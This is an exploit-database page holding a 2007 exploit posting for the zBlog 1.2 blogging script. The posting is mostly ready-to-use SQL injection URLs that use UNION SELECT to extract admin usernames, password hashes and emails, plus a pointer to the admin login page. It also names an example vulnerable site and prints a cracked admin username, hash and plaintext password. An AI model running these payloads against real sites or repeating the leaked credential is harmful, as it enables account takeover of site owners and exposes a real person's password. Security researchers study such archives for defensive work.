zBlog 1.2 Remote SQL Injection Vulnerability

🗓️ 23 Dec 2007 00:00:00Reported by RootType

zBlog 1.2 Remote SQL Injection Vulnerability, Exploit, Account Credentials Compromise


                                                #########################################################################
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zBlog&nbsp;v1.2&nbsp;&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit
#########################################################################


##&nbsp;AUTHOR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;H-T&nbsp;Team&nbsp;(&nbsp;HouSSamix&nbsp;_&nbsp;ToXiC350&nbsp;_&nbsp;CoNaN&nbsp;)
##&nbsp;HOME&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://no-hack.net

##&nbsp;Script&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;zBlog
##&nbsp;Version&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;1.2&nbsp;
##&nbsp;Site&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://kaxz01.free.fr/
##&nbsp;Download&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://kaxz01.free.fr/fichiers/zBlog.zip

##&nbsp;EXPLOITS&nbsp;:

[1]
http://server.com/Path/index.php?page=categ&amp;categ=-1%20union%20select%201,pseudo_admin,motdepasse_admin,4,5,6,7,8,9,10,11,12,13,14,15,16,email_admin%20from%20[table&nbsp;prefix]_admins--
[2]
http://server.com/Path/index.php?page=articles&amp;article=-1%20union%20select%201,pseudo_admin,3,motdepasse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20[table&nbsp;prefix]_admins--

[table&nbsp;prefix]&nbsp;=&nbsp;by&nbsp;default&nbsp;it&nbsp;is&nbsp;zblog

ex&nbsp;:&nbsp;http://Site.com/zBlog/index.php?page=articles&amp;article=-1%20union%20select%201,pseudo_admin,3,motdepasse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20zblog_admins--

##&nbsp;Note
admin&nbsp;login&nbsp;is&nbsp;at&nbsp;/admin/

##&nbsp;GREETZ&nbsp;&nbsp;:&nbsp;&nbsp;RoMaNcYxHaCkEr&nbsp;,&nbsp;Mahmood_Ali&nbsp;,&nbsp;C_m&nbsp;&nbsp;and&nbsp;all&nbsp;musulmans&nbsp;hackers

#########################################################################
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zBlog&nbsp;v1.2&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit
#########################################################################

exemple&nbsp;of&nbsp;site&nbsp;vulnerable

http://www.xxx.org/zblog/index.php?page=categ&amp;categ=-1%20union%20select%201,pseudo_admin,motdepasse_admin,4,5,6,7,8,9,10,11,12,13,14,15,16,email_admin%20from%20zblog_admins--


account&nbsp;admin&nbsp;with&nbsp;password&nbsp;md5&nbsp;cracked

user&nbsp;&gt;&gt;&nbsp;Selim
pass&nbsp;&gt;&gt;&nbsp;6a81060b83b919bc115112bf840eca63&nbsp;=&nbsp;miles

23 Dec 2007 00:00Current

7.1High risk

Vulners AI Score7.1